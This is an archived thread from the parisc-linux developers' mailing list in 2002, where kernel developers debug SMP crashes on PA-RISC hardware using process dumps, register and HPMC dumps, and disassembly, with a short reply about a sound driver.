keventd       {{ do_fork }} S 0000000000abcdef   112     2     =20
1             8       (L-TLB)
ksoftirqd_CPU {{ do_fork }} S 0000000000abcdef   112     3     =20
0             4     1 (L-TLB)
ksoftirqd_CPU {{ do_fork }} S 0000000000abcdef   112     4     =20
0             5     3 (L-TLB)
kswapd        {{ do_fork }} S 0000000000abcdef   112     5     =20
0             6     4 (L-TLB)
bdflush       {{ do_fork }} S 0000000000abcdef   112     6     =20
0             7     5 (L-TLB)
kupdated      {{ __wait_on_buffer }} S 0000000000abcdef   112     7     =20=

0                   6 (L-TLB)
kjournald     {{ __wait_on_buffer }} S 0000000000abcdef   112     8     =20=

1            72     2 (L-TLB)
kjournald     {{ __wait_on_buffer }} S 0000000000abcdef     0    71     =20=

1            95    72 (L-TLB)
kjournald     {{ __wait_on_buffer }} S 0000000000abcdef   112    72     =20=

1            71     8 (L-TLB)
portmap       {{ __wait_on_buffer }} S 0000000000abcdef     0    95     =20=

1           140    71 (NOTLB)
syslogd       {{ __wait_on_buffer }} D 0000000000abcdef   112   140     =20=

1           143    95 (NOTLB)
klogd         {{ ___wait_on_page }} S 0000000000abcdef   112   143     =20=

1           147   140 (NOTLB)
rpc.statd     {{ __wait_on_buffer }} S 0000000000abcdef   112   147     =20=

1           152   143 (NOTLB)
inetd         {{ do_fork }} S 0000000000abcdef   112   152     =20
1           161   147 (NOTLB)
sshd          {{ __lock_page }} S 0000000000abcdef   112   161      1=20
15428     164   152 (NOTLB)
ntpd          {{ __wait_on_buffer }} S 0000000000abcdef   112   164     =20=

1           167   161 (NOTLB)
rpc.nfsd      {{ __lock_page }} S 0000000000abcdef   112   167     =20
1           170   164 (NOTLB)
rpc.mountd    {{ do_fork }} S 0000000000abcdef   112   170     =20
1           173   167 (NOTLB)
cron          {{ __wait_on_buffer }} S 0000000000abcdef   112   173     =20=

1           987   170 (NOTLB)
setiathome    {{ __wait_on_buffer }} R 0000000000abcdef   112   978     =20=

1                 979 (NOTLB)
setiathome    {{ sleep_on }} R   current task       0   979     =20
1           978   987 (NOTLB)
getty         {{ ___wait_on_page }} S 0000000000abcdef   112   987     =20=

1           979   173 (NOTLB)
sshd          {{ __lock_page }} S 0000000000abcdef     0  1526    161 =20=

1527   15428       (NOTLB)
bash          {{ do_fork }} S 0000000000abcdef     0  1527   1526 =20
1532               (NOTLB)
bash          {{ __wait_on_buffer }} S 0000000000abcdef     0  1532  =20
1527 11363               (NOTLB)
isobuild.sh   {{ do_fork }} S 0000000000abcdef     0 11363   1532=20
11389               (NOTLB)
dpkg-buildpac {{ do_fork }} S 0000000000abcdef     0 11389  11363=20
11532               (NOTLB)
rules         {{ do_fork }} S 0000000000abcdef     0 11532  11389=20
17219               (NOTLB)
sshd          {{ do_fork }} S 0000000000abcdef     0 15428    161=20
15445          1526 (NOTLB)
bash          {{ __wait_on_buffer }} S 0000000000abcdef     0 15445 =20
15428 12119               (NOTLB)
sh            {{ do_fork }} S 0000000000abcdef     0 17219  11532 =20
3675               (NOTLB)
rules         {{ do_fork }} S 0000000000abcdef     0  3675  17219=20
11323               (NOTLB)
make          {{ do_fork }} S 0000000000abcdef   112 11323   3675=20
11333               (NOTLB)
make          {{ do_fork }} S 0000000000abcdef     0 11333  11323=20
11859               (NOTLB)
make          {{ do_fork }} R 0000000000abcdef   112 11859 =20
11333                     (NOTLB)
bash          {{ __wait_on_buffer }} S 0000000000abcdef     0 12119 =20
15445                     (NOTLB)




From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Wed, 10 Jul 2002 08:50:14 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20020710145014.B71554854@dsl2.external.hp.com>
References: <8CE455AF-93F4-11D6-BEE2-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621487 10244 80.91.229.3 (22 Nov 2014 01:58:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 08:50:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B71554854; Wed, 10 Jul 2002 08:50:14 -0600 (MDT)
In-Reply-To: Message from Thibaut VARENE <varenet@esiee.fr> 
   of "Wed, 10 Jul 2002 13:02:39 +0200." <8CE455AF-93F4-11D6-BEE2-0030656F07A2@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15391

Thibaut VARENE wrote:
> hangs occured (SysRq 't', Ryan modified), take a look at:
> http://pateam.esiee.fr/archive/mails/
> 
> and read the *SMPHangReport* files...

ah - thanks for saving those.
Here's another crash we just got last night on the A500-6X.

grant


-pa52 kernel panic'd at 22:07
running gcc1 test in background
ran two cvs updates on the kernel.

Kernel Fault: Code=26 regs=0000000012a2cd40 (Addr=0000000010112738)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000100001110 Not tainted
r00-03  0000000000000000 0000000010421c10 00000000101869c4 0000000030c14010
r04-07  0000000030c14000 0000000010415410 0000000030c14010 0000000000000000
r08-11  0000000012a2ca48 000000000000000b 0000000000000000 0000000010415410
r12-15  000000000000000b 0000000000000000 0000000012a2ca80 0000000000000000
r16-19  0000000000000000 000000000000004a 0000000010490000 0000000000000001
r20-23  0000000010112738 0000000012a1b550 000000000800000f 000000000800000f
r24-27  0000000000000000 0000000030c14018 0000000012a1b540 0000000010415410
r28-31  0000000000000104 0000000012a2cd30 0000000012a2cd40 0000000010398840
sr0-3   0000000000005700 0000000000009780 0000000000000000 0000000000000080
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001013078c 0000000010130790
 IIR: 0e9512c0    ISR: 0000000000000000  IOR: 0000000010112738
 CPU:        0   CR30: 0000000012a2c000 CR31: 0000000010498000
 ORIG_R28: 000000001015ed00

GR02 0x101869c4 poll_freewait+3c
IOAQ 0x1013078c remove_wait_queue+1c



From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Wed, 10 Jul 2002 15:23:18 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20020710142317.GS6681@sleepie.demon.co.uk>
References: <8CE455AF-93F4-11D6-BEE2-0030656F07A2@esiee.fr> <20020710145014.B71554854@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621488 10248 80.91.229.3 (22 Nov 2014 01:58:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:08 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 09:24:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hem11-4-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14AE64864
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 09:24:38 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 375EB9E846; Wed, 10 Jul 2002 15:23:18 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020710145014.B71554854@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15392

On Wed, Jul 10, 2002 at 08:50:14AM -0600, Grant Grundler wrote:
> Thibaut VARENE wrote:
> > hangs occured (SysRq 't', Ryan modified), take a look at:
> > http://pateam.esiee.fr/archive/mails/
> > 
> > and read the *SMPHangReport* files...
> 
> ah - thanks for saving those.
> Here's another crash we just got last night on the A500-6X.
> 
> grant
> 
> 
> -pa52 kernel panic'd at 22:07
> running gcc1 test in background
> ran two cvs updates on the kernel.
> 
> Kernel Fault: Code=26 regs=0000000012a2cd40 (Addr=0000000010112738)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001000000000100001110 Not tainted
> r00-03  0000000000000000 0000000010421c10 00000000101869c4 0000000030c14010
> r04-07  0000000030c14000 0000000010415410 0000000030c14010 0000000000000000
> r08-11  0000000012a2ca48 000000000000000b 0000000000000000 0000000010415410
> r12-15  000000000000000b 0000000000000000 0000000012a2ca80 0000000000000000
> r16-19  0000000000000000 000000000000004a 0000000010490000 0000000000000001
> r20-23  0000000010112738 0000000012a1b550 000000000800000f 000000000800000f
> r24-27  0000000000000000 0000000030c14018 0000000012a1b540 0000000010415410
> r28-31  0000000000000104 0000000012a2cd30 0000000012a2cd40 0000000010398840
> sr0-3   0000000000005700 0000000000009780 0000000000000000 0000000000000080
> sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001013078c 0000000010130790
>  IIR: 0e9512c0    ISR: 0000000000000000  IOR: 0000000010112738
>  CPU:        0   CR30: 0000000012a2c000 CR31: 0000000010498000
>  ORIG_R28: 000000001015ed00
> 
> GR02 0x101869c4 poll_freewait+3c
> IOAQ 0x1013078c remove_wait_queue+1c

0000000000000000 <remove_wait_queue>:
   0:   00 01 0e 76     rsm 1,r22
   4:   0f 40 11 d3     ldcw 0(sr0,r26),r19
   8:   86 60 20 3a     cmpib,=,n 0,r19,2c <remove_wait_queue+0x2c>
   c:   53 35 00 20     ldd 10(r25),r21
  10:   53 34 00 30     ldd 18(r25),r20
  14:   34 13 00 02     ldi 1,r19
  18:   0e b4 12 d0     std r20,8(sr0,r21)
  1c:   0e 95 12 c0     std r21,0(sr0,r20)
  20:   0f 53 12 80     stw r19,0(sr0,r26)
  24:   00 16 18 60     mtsm r22
  28:   e8 40 d0 02     bve,n (rp)


The address it is trying to store to is 0x10112738, which is kernel
_code_ space.

void remove_wait_queue(wait_queue_head_t *q, wait_queue_t * wait)

so either r25 (= wait) is wrong, or the wait_queue_t it points at is
corrupt.  r25 is 0x3....... don't know what is up there; vmalloc'ed
memory?

Richard




From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Wed, 10 Jul 2002 13:07:59 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200207101707.g6AH7xMS010810@hiauly1.hia.nrc.ca>
References: <20020710142317.GS6681@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621488 10251 80.91.229.3 (22 Nov 2014 01:58:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:08 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, varenet@esiee.fr,
	parisc-linux@lists.parisc-linux.org
To: rhirst@linuxcare.com (Richard Hirst)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 11:08:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C4DF4844
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 11:08:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6AH81FN010811;
	Wed, 10 Jul 2002 13:08:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6AH7xMS010810;
	Wed, 10 Jul 2002 13:07:59 -0400 (EDT)
In-Reply-To: <20020710142317.GS6681@sleepie.demon.co.uk> from "Richard Hirst" at Jul 10, 2002 03:23:18 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15393

> > -pa52 kernel panic'd at 22:07
> > running gcc1 test in background

In hacking gcc this morning trying to fix a bug in loading 64-bit
constants, I seem to have achieved a state where the gcc build crashes
gsyprf11 in a deterministic manner.  It's gone down three times.
It only takes a few seconds after the build starts for the machine
to crash.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Wed, 10 Jul 2002 13:44:19 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200207101744.g6AHiKW0011045@hiauly1.hia.nrc.ca>
References: <200207101707.g6AH7xMS010810@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621488 10254 80.91.229.3 (22 Nov 2014 01:58:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:08 +0000 (UTC)
Cc: rhirst@linuxcare.com, grundler@dsl2.external.hp.com,
	varenet@esiee.fr, parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 11:44:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20C10485C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 11:44:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6AHiKFN011046;
	Wed, 10 Jul 2002 13:44:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6AHiKW0011045;
	Wed, 10 Jul 2002 13:44:20 -0400 (EDT)
In-Reply-To: <200207101707.g6AH7xMS010810@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 10, 2002 01:07:59 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15394

> > > -pa52 kernel panic'd at 22:07
> > > running gcc1 test in background
> 
> In hacking gcc this morning trying to fix a bug in loading 64-bit
> constants, I seem to have achieved a state where the gcc build crashes
> gsyprf11 in a deterministic manner.  It's gone down three times.
> It only takes a few seconds after the build starts for the machine
> to crash.

Moving the code to hpux11, this is the error that causes the crash:

stage1/xgcc -Bstage1/ -B/opt/gnu/hppa2.0w-hp-hpux11.11/bin/ -c -DIN_GCC    -g -O2 -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long  -DHAVE_CONFIG_H    -I. -I. -I../../gcc/gcc -I../../gcc/gcc/. -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/cfgbuil
d.c -o cfgbuild.o
Pi 16528 received a SIGSEGV for stck growth ailure.
Possible caues: insufficient memory or swap space,
or stack size exceeded maxssiz. 
xgcc: Internal error: Segmentation fault (program cc1)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] harmony driver on k210/819
Date: Wed, 10 Jul 2002 21:57:51 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <200207102157.51570.deller@gmx.de>
References: <3D2BD8BE.7060409@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621489 10256 80.91.229.3 (22 Nov 2014 01:58:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:09 +0000 (UTC)
To: Stephan Trajkoff <stephan@itp.bg>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 13:58:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 38650485D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 13:58:22 -0600 (MDT)
Original-Received: (qmail 2531 invoked by uid 0); 10 Jul 2002 19:58:17 -0000
Original-Received: from pd904071a.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.7.26)
  by mail.gmx.net (mp016-rz3) with SMTP; 10 Jul 2002 19:58:17 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <3D2BD8BE.7060409@itp.bg>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15395

On Wednesday 10 July 2002 08:48, Stephan Trajkoff wrote:
> Hello, on kernel 2.4.18-pa52, i compiled harmony sound blaster
> in dmesg the sound blaster is detected
> but when I start mpg123 blahblah.mp3 the output is Illegal operation

Works for me. Have you tried updating mpg123 ?

pa64:~# dmesg | grep Harmony
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 0 at 0xf0104000, IRQ 82

pa64:~# uname -a
Linux pa64 2.4.18-pa53 #249 Tue Jul 9 21:27:22 CEST 2002 parisc unknown

pa64:~# dpkg -l mpg123
||/ Name                   Version                Description
+++-======================-======================-============================================================
ii  mpg123                 0.59r-8                MPEG layer 1/2/3 audio player

Greetings,
Helge



From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Wed, 10 Jul 2002 13:34:51 -0700 (PDT)
Lines: 289
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207100858100.19290-100000@garibaldi.apptechsys.com>
References: <Pine.LNX.4.44.0207100032050.19290-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621489 10259 80.91.229.3 (22 Nov 2014 01:58:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 14:34:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D4B4485E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 14:34:52 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 150DC7BC45; Wed, 10 Jul 2002 13:34:51 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.44.0207100032050.19290-100000@garibaldi.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15396

On Wed, 10 Jul 2002, Jeremy Drake wrote:

> I will look at the tgz and also cvs update tomorrow when I get in the same 
> building with the box, and send uname -a and .config, and also any 
> observations I can make of the box when I get to it (any messages on the 
> LCD, any ser pim output that it may have, any log messages)...  Next time 
> I'll leave a serial console open to it :)

The LCD screen reads "OFF 0000:".  This is a new one for me :)

uname -a says "Linux krakatoa 2.4.18-pa53 #1 SMP Tue Jul 9 14:38:41 PDT 
2002 parisc unknown"

The last smp kernel to work is:
krakatoa:~# dpkg-deb -I kernel-image-2.4.17-32-smp_23.1_hppa.deb
 new debian package, version 2.0.
 size 2945664 bytes: control archive= 19355 bytes.
     836 bytes,    20 lines      control
   52806 bytes,  1626 lines   *  postinst             #!/usr/bin/perl
    8679 bytes,   226 lines   *  postrm               #!/usr/bin/perl
    8595 bytes,   219 lines   *  preinst              #!/usr/bin/perl
    6591 bytes,   211 lines   *  prerm                #!/usr/bin/perl
 Package: kernel-image-2.4.17-32-smp
 Version: 23.1
 Section: base
 Priority: optional
 Architecture: hppa
 Depends: initrd-tools (>= 0.1.6), fileutils (>= 4.0), modutils (>= 
2.3.12)
 Suggests: palo
 Provides: kernel-image,  kernel-image-2.4
 Installed-Size: 8268
 Maintainer: Bdale Garbee <bdale@gag.com>
 Source: kernel-image-2.4.17-hppa
 Description: 32 bit SMP Linux kernel image for version 2.4.17 on HPPA.
  This package contains the 32 bit SMP Linux kernel image for version
  2.4.17 on HPPA, the corresponding System.map file, and the modules built
  by the packager.  It also contains scripts that try to ensure that the
  system is not left in a unbootable state after an update.
  .
  Kernel image packages are generally produced using kernel-package,
  and it is suggested that you install that package if you wish to
  create a custom kernel.

The log just stops and picks up again when I rebooted.

You can get the .deb for the smp kernel that I build from 
http://linux.apptechsys.com/~jeremyd/kernel-image-2.4.18-pa53_jeremyd.200207091430.smp_hppa.deb

Here's the output of ser pim for the one that has the right date/time 
stamp.  Looks like another "runway broad error" -- broad seems to be short 
for broadcast.
-----------------  Processor 1 HPMC Information ------------------

Timestamp =
  Tue Jul  9 22:21:13 GMT 2002    (20:02:07:09:22:21:13)

HPMC Chassis Codes = 2cbf0  25108  2cbfb

General Registers 0 - 31
00-03   0000000000000000  000000001034cf20  000000001010090c  
0000000000000000
04-07   0000000000354000  00000000f0400008  00000000000000fa  
00000000f0002f68
08-11   0000000000000000  0000000000000000  000000000004000e  
0000000010393408
12-15   00000000000000f2  0000000000000001  0000000000000001  
00000000000000f3
16-19   0000000002020202  0000000000000002  00000000f000016c  
000000001117c000
20-23   0000000000000000  00000000103262a0  0000000010347804  
0000000000000000
24-27   00000000103478e0  0000000000000032  0000000000000019  
0000000010326010
28-31   0000000000000000  0000000000000010  000000001117c6c0  
00000000103478e0

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
08-11   0000000000000114  0000000000000000  00000000000000c0  
000000000000001e
12-15   0000000000000000  0000000000000000  0000000000106000  
00000000ff000000
16-19   000005b532c52d74  0000000000000000  000000001010090c  
0000000003c008b3
20-23   0000000000000000  0000000000000000  000000000006ff0f  
0000000000000000
24-27   0000000000354000  000000001f778000  0000000000044021  
00000000f0412000
28-31   0000000055555555  0000000055555555  000000001117c000  
0000000011111111
Space Registers 0 - 7

00-03   00000000          0000008a          00000000          0000008a
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000010100910
Check Type                   = 0x20000000
